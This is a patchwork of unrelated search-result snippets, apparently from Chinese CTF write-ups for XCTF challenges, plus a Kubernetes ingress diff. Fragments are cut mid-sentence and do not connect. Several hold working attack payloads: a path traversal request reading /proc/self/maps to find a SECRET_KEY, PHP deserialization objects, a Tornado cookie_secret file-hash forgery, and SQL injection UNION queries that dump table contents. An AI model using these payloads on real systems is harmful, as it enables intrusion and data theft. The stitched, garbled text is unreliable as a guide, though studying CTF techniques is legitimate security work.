file=../../proc/self/maps HTTP/1.1 格式化后如下图所示: 遍历地址空间,注意将16进制转为10进制,搜寻SECRET_KEY的线索字符串*abcdefgh,成功找到SECRET_KEY = 9511942d4d4f4a15822eb46246b2602b*abcdefgh importrequestsimportredefget_proc_self_maps():url="http://61.147.171.105:60812/info?file=../.....
文件头 2(FILE_HEAD) A8 3C:【0x3CA8-文件头 CRC 校验值-2 字节】 7A:错误的块类型,应更改为 74 …… 将7A 更改为 74,将保存后的文件解压。得到两个文件: flag.txt 文件的内容为:flag is not here 检查secret 图片,发现文件头为 GIF 头: ...
大概说的是,在Tornado里,应用的设置可以通过handler.settings访问。 拿到cookie_secret 拿到cookie_secret之后,按照md5(cookie_secret+md5(filename))算一下就可以了 最后访问/file?filename=/fllllllllllllag&filehash=xxxxxxxxx即可
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php ...
攻防世界 - MISC - 06 - SimpleRAR 审题 思路 知识点 所需工具 解题 flag 反思与心得 审题 思路 知识点 考查选手对rar文件头的理解、winhex更改文件的能力、PS提取图层的能力、CTF工具的使用、PS图像处理能力 所需工具 WinRAR、winhex、PhotoShop、StegSolve 解题 使用WinRAR打开附件,发现secret.png的文件头损坏了...
然后是secret参数的序列化构造 我们首先尝试读取Flag.php文件 php 代码语言:js 复制 classRecord{public$file="Flag";publicfunction__construct($file){$this->file=$file;}}$file="Flag";$sky=newRecord($file);echoserialize($sky); 得到:`O:6:"Record":1:{s:4:"file";s:4:"Flag";}` ...
Crypto-Hello, XCTF! 考虑把所有字符都减去一个值,转化成小量 foriinb'xctfXCTF': print(i,chr(i),[j-iforjinb'xctfXCTF']) ''' 120 x [0, -21, -4, -18, -32, -53, -36, -50] 99 c [21, 0, 17, 3, -11, -32, -15, -29] ...
于是去搜tornado漏洞,看到了一篇wp 大概说的是,在Tornado里,应用的设置可以通过handler.settings访问。 拿到cookie_secret 拿到cookie_secret之后,按照md5(cookie_secret+md5(filename))算一下就可以了 最后访问/file?filename=/fllllllllllllag&filehash=xxxxxxxxx即可 __EOF__...
1. 爆字段 payload: 0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='secret_table' # 1. 爆值 payload: 0' union select 1,group_concat(id,0x3a,fl4g),3 from secret_table# 1.
secretName: ctfg-cert-secret rules: - host: xctf.nicek12.xctf.io http: paths: - pathType: ImplementationSpecific path: / backend: service: name: xctf port: number: 80 10 changes: 5 additions & 5 deletions 10 pkg/kubes/deploy.go Original file line numberDiff line numberDiff line change...